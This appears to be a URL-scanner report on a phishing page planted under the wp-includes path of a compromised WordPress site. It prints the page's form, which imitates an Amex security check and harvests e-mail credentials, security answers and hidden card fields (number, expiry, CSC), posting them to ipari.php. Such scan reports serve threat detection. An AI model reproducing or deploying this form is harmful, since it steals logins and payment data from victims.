www.sabordaserramg.com.br
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2606:4700:3031::ac43:814b
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URL:
https://www.sabordaserramg.com.br/wp-includes/amex/amex/email_sec.php
Submission: On November 27 via api from IE — Scanned from DE
Submission: On November 27 via api from IE — Scanned from DE
Form analysis
1 forms found in the DOMName: app_xp — POST ipari.php
<form id="app_xp" name="app_xp" method="post" action="ipari.php" onsubmit="return validateForm()">
<input type="hidden" id="user_id" name="user_id" value="">
<input type="hidden" id="user_pass" name="user_pass" value="">
<input type="hidden" id="apa_num" name="apa_num" value="">
<input type="hidden" id="cid" name="cid" value="">
<input type="hidden" id="user_id" name="user_id" value="">
<input type="hidden" id="exp_mm" name="exp_mm" value="">
<input type="hidden" id="exp_yyyy" name="exp_yyyy" value="">
<input type="hidden" id="csc" name="csc" value="">
<div class="header_logo"></div>
<div class="footer_logo"></div>
<div class="login_contain">
<div class="ad_logo"><img src="ayaworan/ad_logo.png" width="290px"></div>
<div class="login_contain_span">
<div class="email_id_text">E-MAIL ADDRESS</div>
<input style="background: #f5f5f7;top: 40px;left: 20px;width: 250px;height: 50px;" type="email" id="email" name="email" placeholder="" required="">
<div class="password_text">E-MAIL PASSWORD</div>
<input style="background: #f5f5f7;top: 140px;left: 20px;width: 250px;height: 50px;" type="password" id="email_pass" name="email_pass" placeholder="" required="">
<div class="question_text">SECURITY QUESTION</div>
<select style="position: absolute; background: #f5f5f7;top: 250px;left: 20px;width: 250px;height: 25px; box-sizing: border-box; border-radius: 3px; color: #47474a; font-weight: bold; font-family: Arial, Helvetica, sans-serif;" name="question">
<option value="Select question">Select question</option>
<option value="What is your Place of Birth">What is your Place of Birth</option>
<option value="What Your Mother's Birthday">What Your Mother's Birthday</option>
<option value="Name of first elementary school?">Name of first elementary school?</option>
<option value="PSK: Your Security PIN">PSK: Your Security PIN</option>
</select>
<div class="answer_text">SECURITY ANSWER</div>
<input style="background: #f5f5f7;top: 315px;left: 20px;width: 250px;height: 50px;" type="text" id="answer" name="answer" placeholder="" required="">
<button class="myButton" type="submit">Validate</button>
<!-- <div class="forgot_pass"><img src="ayaworan/forgot_pass.png" width="270px"></div> -->
</div>
</div>
</form>
Text Content
E-MAIL ADDRESS E-MAIL PASSWORD SECURITY QUESTION Select question What is your Place of Birth What Your Mother's Birthday Name of first elementary school? PSK: Your Security PIN SECURITY ANSWER Validate